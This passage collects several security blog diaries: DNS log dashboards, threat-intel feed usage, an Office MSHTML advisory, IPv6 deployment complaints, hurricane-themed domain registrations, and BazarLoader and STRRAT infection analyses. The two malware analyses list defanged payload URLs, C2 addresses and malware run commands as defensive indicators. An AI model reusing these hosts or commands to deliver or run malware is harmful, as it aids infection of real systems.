→ Last step is to load the dashboard [5] to Elasticsearch under Stack Management → Saved Objects and Import the file Microsoft_DNS_7.14_v1.ndjson, this will load the new dashboard and the Index Pattern.

Look under the Dashboard tab for Microsoft DNS Server [Microsoft DNS Tag]. This is a sample of the top part of the dashboard:

[1] https://www.elastic.co/guide/en/ecs/current/ecs-dns.html
[2] https://handlers.sans.edu/gbruneau/elk/logstash-filter-ms-dns.conf
[3] https://handlers.sans.edu/gbruneau/elk/Windows_DNS_ilm_policy.txt
[4] https://handlers.sans.edu/gbruneau/elk/Windows_DNS_template.txt
[5] https://handlers.sans.edu/gbruneau/elk/Microsoft_DNS_7.14_v1.ndjson
[6] https://isc.sans.edu/forums/diary/Secure+Communication+using+TLS+in+Elasticsearch/26902/
[7] https://www.elastic.co/guide/en/ecs/master/ecs-field-reference.html
[8] https://handlers.sans.edu/gbruneau/elastic.htm

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Most of the data we are collecting is freely available via our API. For quick documentation, see https://isc.sans.edu/api. One particular popular feed is our list of "Researcher IPs." These are IP addresses connected to commercial and academic projects that scan the internet. These scans can account for a large percentage of your unsolicited inbound activity. One use of this feed is to add "color to your logs" by enriching your log data from this feed. 

The simplest way to get the feed is via https://isc.sans.edu/api/threatcategory/research. By default, you will receive XML formatted data. But add "?json" to the URL for JSON or "?tab" for a tab-delimited plain text file. Other options are available (see the page I linked to above).

You may also explore the feeds at https://isc.sans.edu/threatmap.html

Currently, the feed lists almost 6,000 IP addresses. But many of them are from specific networks, and you may be able to aggregate them (and aggregated feed is coming...).

Another feed that we are experimenting with is a feed of newly registered domains. Sadly, not all top-level domains make the data available (in particular country domains often don't). You can retrieve this feed via 

https://isc.sans.edu/recentdomains (you can also add a date to look for new domains from a specific day. For example, https://isc.sans.edu/api/recentdomains/2021-02-01 ). This feed is experimental, and performance may be slow at times. 

Probably the best "enrichment" feed we have is our "Intelfeed." For each IP address, you will see labels associated with that IP address.

https://isc.sans.edu/api/intelfeed

I need to document the labels better (maybe later today. Watch http://isc.sans.edu/api for an update)

How to Use These Data Feeds Responsibly

First of all, be gentle on our servers. I recommend you pull the data once or twice a day. The data should not change more than once a day. Download the entire data and import it into your local database for lookups of individual IPs.

Please use a custom user agent that includes contact information. We do not require authentication to use any of the data (considering it for the future...), but we need to get a hold of you in case your requests cause a problem. Otherwise, you may find yourself blocked. We do block some standard python user agents for that reason (for people who do not read manuals :( ). 

Do not use the data as a blocklist. The data is provided on a "best-effort" basis. It may, for example, include IP addresses of cloud proxies like Cloudflare, and you may block specific IPs. I don't want my phone to ring off the hook again because some federal agency decides to block IPs based on our data just ahead of a big filing deadline, and users cannot connect to their site.

You may use the data to protect your own network, commercial or not. But you may not resell it (don't resell something you didn't pay for :-) ).

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Microsoft today published an advisory with a workaround to mitigate an unpatched vulnerability in Microsoft Office. This vulnerability is currently used in targeted attacks.

CVE-2021-40444 is a code execution vulnerability in MSHTML. The exploit would arrive as an Office document that includes a malicious ActiveX control. As a workaround, Microsoft recommends disabling ActiveX in Internet Explorer and the advisory includes the necessary registry changes. At this point, it should be pretty low impact to disable ActiveX, but of course, there may be individual enterprise applications that still use ActiveX. 

For more details, see Microsoft's advisory here: 

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Introduction

Another day, another wave of malware.  Although there's plenty to find, I've been focusing on BazarLoader as it comes through various distribution channels.  One such channel is the "Stolen Images Evidence" campaign, which Microsoft describes here.  This campaign was pushing IcedID as we entered 2021, but it switched to BazarLoader as early as July 2021.

The "Stolen Images Evidence" campaign uses emails generated through contact forms on various websites.  So these messages don't originate through normal spam methods.  They appear through contact form submissions describing a copyright violation to the intended victim.  These form-submitted messages include a Google firebase storage URL in the message text.  This malicious link supposedly provides proof of stolen images that resulted in a copyright violation.

However, Google's service is being abused in this case, and the zip archive named Stolen Images Evidence.zip contains a JavaScript file designed to infect a vulnerable Windows host with BazarLoader.

Shown above:  Lnk from a copyright violation-themed form submission-generated email.

Downloaded zip archives

The downloaded zip archives are always named Stolen Images Evidence.zip.  They contain a JavaScript file named Stolen Images Evidence.js.

Shown above:  Example of a downloaded zip archive and extracted .js file.

BazarLoader from the JS file

If a victim double-clicks the extracted JavaScript file on a vulnerable Windows host, it retrieves and runs a DLL for BazarLoader malware.  The DLL is saved to the infected user's AppData\Local\Temp directory with a .dat file extension.

Shown above:  BazarLoader DLL stored to an infected Windows host.

Infection traffic

Infection traffic is typical for what we normally see with BazarLoader.

Shown above:  Traffic from an infection filtered in Wireshark.

Indicators of Compromise (IOCs)

The following is malware retrieved from an infected Windows host.

SHA256 hash: c1cc9ec32368165e6625b2e2623ac0c3ca69bfa63a5b11e82a09bf18f6bd6410

• File size: 4,763 bytes
• File name: Stolen Images Evidence.zip
• File description: zip archive downloaded after clicking Google Firebase Storage link

SHA256 hash: 5a22e9bde5aaed03b323e5c933c473e9ba3831f4473790a3d4394baefe809d8a

• File size: 15,755 bytes
• File name: Stolen Images Evidence.js
• File description: JS file extracted from the above zip archive

SHA256 hash: dcf67fd6bfb62bea66f5e45d871d6c15b0c61d85c5fa9e9ded03e57f83dfc814

• File size: 203,281 bytes
• File location: hxxp://mabiorex[.]space/333g100/main.php
• File location: C:\Users\[username]\AppData\Local\Temp\motHf.dat
• File description: BazarLoader DLL retreived by the above JS file
• Run method: rundll32.exe [filename],StartW

Google Firebase URL used to deliver the malicious zip archive:

• hxxps://firebasestorage.googleapis[.]com/v0/b/app9-96feb.appspot.com/o/d-03rfdsbknu.html?alt=media&token=f7fc9a25-71b6-424d-aaf7-208fb11c27dd&f=025239220255728020

Malicious domain called when using the above Google Firebase URL:

• 172.67.145[.]134 port 443 - zvanij[.]space - HTTPS traffic

Traffic generated by the extracted JavaScript file to retrieve BazarLoader DLL:

• 104.21.10.6 port 80 - mabiorex[.]space - GET /333g100/index.php
• 104.21.10.6 port 80 - mabiorex[.]space - GET /333g100/main.php

Bazar C2 traffic:

• hxxps://194.15.113[.]160/workdir/tasks/run/handle
• hxxps://198.244.180[.]69/workdir/tasks/run/handle
• hxxps://89.41.182[.]134/workdir/tasks/run/handle
• hxxps://172.83.155[.]144/workdir/tasks/run/handle

Final words

The associated malware samples have been submitted to bazaar.abuse.ch, and they're available using links from the above SHA256 hashes.

This campaign uses "Stolen Images Evidence" and copyright violation as its primary theme.  However, it also used a "DDoS attack proof" theme last month.  Either way, this campaign has been fairly active in 2021, and we expect it to continue throughout the rest of this year.  It will probably continue into 2022 as well.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

IPv6 adoption is growing. Around 30% of the Alexa Top 1000 websites support IPv6. Comcast, the ISP I am using, rolled out IPv6 to every customer, and according to some statistics, around 70% are actually using it [1]. About 35% of traffic reaching Google uses IPv6 [2]. I have been using IPv6 myself for probably over a decade by now. Initially via Hurricane Electric tunnels, and later as Comcast made IPv6 available, I used the allocation provided by Comcast. So why stop using it now?

To better understand who is using IPv6, let's "zoom in" on Google's IPv6 statistic. The graph is notably "noisy." But the reason it looks so broad isn't noise: IPv6 usage is higher on Weekends compared to Weekdays.

The reason is pretty simple. For ISPs, IPv6 is needed in case they run out of IPv4 address space. Currently, not a lot of enterprises or businesses are adding IP address space. Actually, the opposite is happening: Enterprises are dismantling datacenters and are moving them into the cloud. 

This leaves home users, particularly mobile users, as the main growth area for IP addresses and, with that, the sole use case for IPv6. But ISPs still have to support IPv4 access as well, often via carrier-grade NAT (cgNAT). By having to support both IPv4 and IPv6, ISPs have not really been able to take advantage of everything IPv6 has to offer, and implementations have been "messy."

How IPv6 is supposed to work

IPv6 has a lot of promise. Or should I say: IPv6 promises a lot of features. One of the big ones is end-to-end connectivity and the end of NAT. For a home user, NAT isn't really a bit problem. But for carriers, NAT is getting complex and expensive. Some estimates talk about up to $40/year/user [3]. IPv6 also has the potential to be faster, but real-world results are mixed at this point. IPv6 works best if end-user networks are assigned a /48. This may sound like an excessive amount of addresses, but there is a reason for /48s being the "sweet spot." First of all, the minimum network size in IPv6 is a /64. Your ISP will typically assign you at least a /64. But this allocation can not be split into various subnets, making it impossible to, for example, set up a distinct IoT subnet. With IPv4, we can use NAT to create various subnets. But with IPv6, we do not really have NAT as an option. 

Unless: If you have a /48!. A/48 is so "magic" because you have 16 bits to play with. This allows for the use of "Prefix Translation." Yes! NAT for IPv6. The main advantage of this over plain old NAT is that each internal IP address will be mapped to a unique external address. But why do "NAT" in IPv6? Because you may need to renumber... For IPv4, having your external IP address change isn't a big deal. NAT will make the change transparent to your network. But in IPv6, renumbering may have to happen too, and with all hosts in your network using publicly routed IP addresses, you will need to renumber every single host in your network. Sure... some of this can be automated... if it works.

RIPE, the European regional internet registry, suggests a "/48 for everybody" in its "Best Current Operational Practice" document [4] . From this document:

4.2.1. /48 for everybody

This is probably the most practical way to assign IPv6 prefixes to end customer CPE devices. In this case everyone has a /48 prefix and advanced end-users are less likely to make mistakes when addressing their networks and devices, resulting in much less call-centre time to sort out problems. It also has the advantage of sharing the same prefix size as ULAs and some transition mechanisms, so this facilitates a direct mapping of existing customer addressing plans to the delegated prefix.

Sadly, ISPs have made extra money selling IP address allocations and are unwilling to hand out /48s. IPv6 is a beautiful protocol. It removes many of the rough edges of IPv4 and turns IPv4, a research experiment that essentially was left running by mistake, into a global business network.

So let's look at some current IPv6 implementations I have had first-hand experience with and why they fail.

AT&T Mobile

All AT&T mobile phones will be assigned a /64. Devices tethered to a mobile phone will receive addresses from this /64. This works well for mobile phones as you are not likely to run a complex network from a mobile phone. But AT&T has a special treat for you: NAT! All IPv6 traffic from the phone appears to be NAT'ed. This will remove the biggest advantage of IPv6 immediately. No idea why IPv6 would do that.

T-Mobile Mobile Phone

Again, your phone will receive an IPv6 /64. T-Mobile may also take advantage of "464 XLAT" if your phone supports it [5]. This protocol will encapsulate all your IPv4 traffic into IPv6. T-Mobile will only "see" IPv6 traffic on its network and NAT IPv4 at its border. Pretty neat set up but can be "messy" in that your phone no longer has a unique IPv4 address within T-Mobile's network (not even a unique unroutable address, but instead, 464XLAT uses a small netblock set aside for 464-XLAT, so essentially all phones use the same IPv4 address) [6].

But from my own experience, neither T-Mobile nor AT&T allows inbound traffic to the phone's IPv6 address. This negates some of the advantages of having a globally routable IPv6 address.

T-Mobile 5G Home Internet

This service is still rather new, and I have only been experimenting with it for a couple of days. But it appears to work pretty much like the T-Mobile phone-based internet service. Your T-Mobile gateway is assigned a NAT'ed IPv4 address and a single /64. You cannot use IPv6 if you are using your own router/firewall connected to the 5G access point, and for IPv4, you have to deal with double/tribble NAT. Unless all of your devices are directly connected to the access point, IPv6 is useless.

T-Mobiles gateway is also locked down and not allowing any "bridge mode" or other configuration options.

Comcast/Xfinity Business Service

Comcast will assign business users a /56. You may connect a router to the modem, and it may request a /59 allowing for multiple routers to be connected. But be aware that the modem doesn't really track which router gets what /59, so after a reboot, your router may get a different /59 (out of the /56 assigned to the modem). Also, Comcast currently does not offer static IPv6 assignments. If you change your modem, you will get a new /59 even if your IPv4 address range remains the same (if you paid for a static IPv4 address). In the past, Comcast also changed its allocation policies without notice. For example, it used to be that the router received a /60 from the modem. Now it does receive a /59. The route MUST request the address via DHCP, or the modem will not know how to route it. Expiring DHCP leases or a modem reboot will break IPv6. (Comcast sometimes reboots modems without notice for firmware upgrades). Only obtaining a /56 and not having the ability to use special IPv6 features like mobile IP, failover to another carrier will not work.

By default, the Comcast supplied modem will block inbound IPv6, but this is easily adjusted (so actually a good thing to set it up secure by default). The firewall in the modem is a bit of a joke, but well, it blocks some packets...

Comcast IPv6 Firewall Configuration Options

All Carriers: Support

So far, I have not had a successful support call regarding IPv6 with any ISP. As far as the ISP is concerned: If IPv4 is working for you, your connection is working, and there is no reason for them to fix anything. 

Final words

No static IPv6 addresses, no /48 allocations, inability to do fail over to a different carrier, stability issues, and lack of support are why I now, after 10+ years, no longer use IPv6 in my network. There are pockets where I may still use it, but so far, there isn't really a good reason to keep IPv6 enabled. Nothing "broke" so far. Lackluster implementations by ISPs that fix the current issue and no/limited use of ISPs by enterprise networks and cloud providers make it difficult to justify the time it takes. And maybe I am getting too old to play with my network configuration all the time.

Please comment if you had your own experience with IPv6 you would like to share.

[1] https://www.worldipv6launch.org/measurements/
[2] https://www.google.com/intl/en/ipv6/statistics.html
[3] https://www.rmv6tf.org/wp-content/uploads/2012/11/TCO-of-CGN1.pdf
[4] https://www.ripe.net/publications/docs/ripe-690
[5] https://datatracker.ietf.org/doc/html/rfc6877
[6] https://www.internetsociety.org/resources/deploy360/2014/case-study-t-mobile-us-goes-ipv6-only-using-464xlat/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

All major events in our daily life are potential sources of revenue for attackers. When elections or major sports events are organized, attackers will surf on these waves and try to make some profit or collect interesting data (credentials). It's the same with major meteorological phenomena. The hurricane "Ida" was the second most intense hurricane to hit the state of Louisiana on record, only behind "Katrina"[1].

I had a quick look at the recently created domains in the ".com" TLD. First I searched for domains that contain the word "hurricane":

Registrations compared to last months:

Now let's have a look at registrations based on "hurricane" and "ida":

Here is the list of domains registered in August:

hurricaneidahelp.com
hurricaneidarelief.com
hurricaneidafund.com
hurricaneida2021.com
hurricaneidaclaim.com
hurricaneidadamage.com
hurricaneidarecovery.com
hurricaneidaadjuster.com
hurricaneidalaw.com
hurricaneidalawyers.com
hurricaneidamoney.com
hurricaneidapublicadjusters.com
hurricaneidapublicadjusting.com
idahurricane.com
idahurricaneclaims.com

I did a quick check on those domains. Most of them are still parked domains at this time (they don't serve any content), another one is a redirect to a lawyer's company pretending to help you to get your money back in case of an accident.

Please be careful when looking for information about such major events, always cross-check the domain reputation to avoid problems.

[1] https://en.wikipedia.org/wiki/Hurricane_Ida

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

STRRAT was discovered earlier this year as a Java-based Remote Access Tool (RAT) that does not require a preinstalled Java Runtime Environment (JRE).  It has been distributed through malicious spam (malspam) during 2021.  Today's diary reviews an infection generated using an Excel spreadsheet discovered on Monday, 2021-08-30.

During this infection, STRRAT was installed with its own JRE environment.  It was part of a zip archive that contained JRE version 8 update 261, a .jar file for STRRAT, and a command script to run STRRAT using JRE from the zip archive.

Shown above:  Chain of events for the STRRAT infection on Monday 2021-08-30.

The Excel spreadsheet

This Excel spreadsheet was submitted to bazaar.abuse.ch on Monday 2021-08-30.  It likely was distributed through email, since previously-documented examples like this one were distributed through email.

Shown above:  Screenshot of the spreadsheet used for the STRRAT infection.

Initial infection activity

If a victim opens the spreadsheet and enables macros on a vulnerable Windows host, the macro code generates unencrypted HTTP traffic to 54.202.26[.]55.  Testing the spreadsheet in a lab environment, we saw an HTTP GET request that returned approximately 18.7 kB of ASCII symbols with no letters or numbers.

Shown above:  First HTTP GET request and response caused by the Excel macro.

The second HTTP request to the same IP address returned a zip archive that was approximately 72.1 MB.

Shown above:  The second HTTP GET request to 54.202.26[.]55 returned a 72.1 MB zip archive.

The zip was saved under a newly-created at C:\User (very close in spelling to C:\Users), then the contents were extracted, and the saved zip archive was deleted.

Shown above:  Location the zip archive was saved to on the infected host.

Shown above:  Extracted contents of the zip archive include JRE, a .jar file for STRRAT, and a script to run STRRAT.

Shown above:  Version file shows JRE version 8 update 261), and sys.cmd contains script to run the STRRAT .jar file.

Infection traffic

RAT-based post-infection traffic is often easy to spot, since many RATs use non-web-based TCP ports.  Furthermore, traffic for the initial zip archive was over unencrypted HTTP.  Finally, we saw HTTPS traffic to legitimate domains from Github and maven.org that appeared to be caused by the infection process.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  TCP stream of post-infection traffic generated by STRRAT.

Indicators of Compromise (IOCs)

The following malware was retrieved from an infected Windows host:

SHA256 hash: f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9

• File size: 71,350 bytes
• File name: purchase order-419617892#..xlsb
• File description: Excel spreadsheet with macro for STRRAT

SHA256 hash: cd6f28682f90302520ca88ce639c42671a73dc3e6656738e20d2558260c02533

• File size: 72,050,185 bytes
• File location: hxxp://54.202.26[.]55/esfsdghfrzeqsdffgfrtsfd.zip
• File location: C:\User\xxrrffftttb55bb.zip
• File description: zip archive retrieved by macro from Excel spreadsheet
• Note: This package contains Java Runtime Environment (JRE) verion 8 update 261 and a .jar file for STRRAT

SHA256 hash: 685549196c77e82e6273752a6fe522ee18da8076f0029ad8232c6e0d36853675

• File size: 222,711 bytes
• File location: C:\User\x.jar
• File description: STRRAT .jar file from the above zip archive
• Run method: CMD.EXE  /C C:\User\bin\java.exe -jar C:\User\x.jar

The following traffic occured on an infected Windows host:

• 54.202.26[.]55 port 80 - 54.202.26[.]55 - GET /oo
• 54.202.26[.]55 port 80 - 54.202.26[.]55 - GET /esfsdghfrzeqsdffgfrtsfd.zip
• port 443 - repo1.maven.org - HTTPS traffic  (not inherently malicious)
• port 443 - github.com - HTTPS traffic  (not inherently malicious)
• port 443 - github-releases.githubusercontent.com - HTTPS traffic  (not inherently malicious)
• DNS query for str-master[.]pw - response: No such name
• 105.109.211[.]84 port 1990 - idgerowner.duckdns[.]org - TCP traffic generated by STRRAT
• port 80 - ip-api.com - GET /json/  (not inherently malicious)

Final words

This specific STRRAT infection was notable because it included JRE version 8 update 261 as part of the infection package.  Including JRE allows this Java-based RAT to run on vulnerable Windows hosts whether or not they have Java installed.

The host I used for testing had a more recent version of Java, but this sample didn't care.  It sent its own version of JRE anyway.

Fortunately, default security settings in Windows 10 and Microsoft Office should prevent this particular STRRAT infection chain.

Mass-distribution methods like malspam remain cheap and profitable for cyber criminals, so we expect to see STRRAT and other types of commonly-distributed malware in the coming months.

A pcap of the infection traffic and malware from the infected host can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net